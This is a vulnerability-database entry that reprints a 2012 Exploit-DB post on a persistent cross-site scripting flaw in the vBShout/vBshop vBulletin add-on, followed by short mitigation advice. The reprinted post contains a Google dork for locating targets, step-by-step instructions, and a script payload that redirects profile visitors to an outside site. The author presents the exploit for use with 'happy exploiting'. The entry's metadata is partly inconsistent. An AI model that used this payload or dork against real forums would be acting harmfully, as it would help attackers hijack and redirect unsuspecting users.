vBshop persistent XSS 0day

vendor:

vBShout

by:

ToiL

9,3

CVSS

HIGH

Persistent XSS

CWE

Product Name: vBShout

Affected Version From: all

Affected Version To: all

Patch Exists: YES

Related CWE: XSS

CPE: a:dragonbyte_technologies_ltd:vbshout

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: all

2012

This 0day exploit is related to the vBulletin mod, vBShout. It allows an attacker to inject malicious JavaScript code into the 'message to user' field when gifting an item to another user. The malicious code will be executed when the user visits the profile of the user who gifted the item. The same attack can be done when buying the 'username color change' or 'username glow change' item, by setting the malicious code in the field.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the 'message to user' field.

Source

Exploit-DB raw data:

# Exploit Title: vBshop persistent XSS 0day
# Google Dork: "DragonByte Technologies Ltd" vbshout
# Date: 25/3/2012 9:32 PM #EST
# Author: ToiL
# Software Link: http://www.dragonbyte-tech.com/
# Version: all
# Tested on: all
# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by
www.Bugabuse.net/<http://www.bugabuse.net/>
#Have fun, And happy exploiting.

######Guide########


Go to vBshop
Gift an item to aother user.
In the 'message to user' put:
<script>top.location='https://www.bugabuse.net/';</script>
Send the item off.
Go to the users profile that you gifted
Boom. Pers. XSS.
Edit to your likeing.

Go to vBshop
Buy the 'username color change' or 'username glow change'
set it to
<script>top.location='https://www.bugabuse.net/';</script>
and you've got a Pers. XSS.
Edit to your likeing.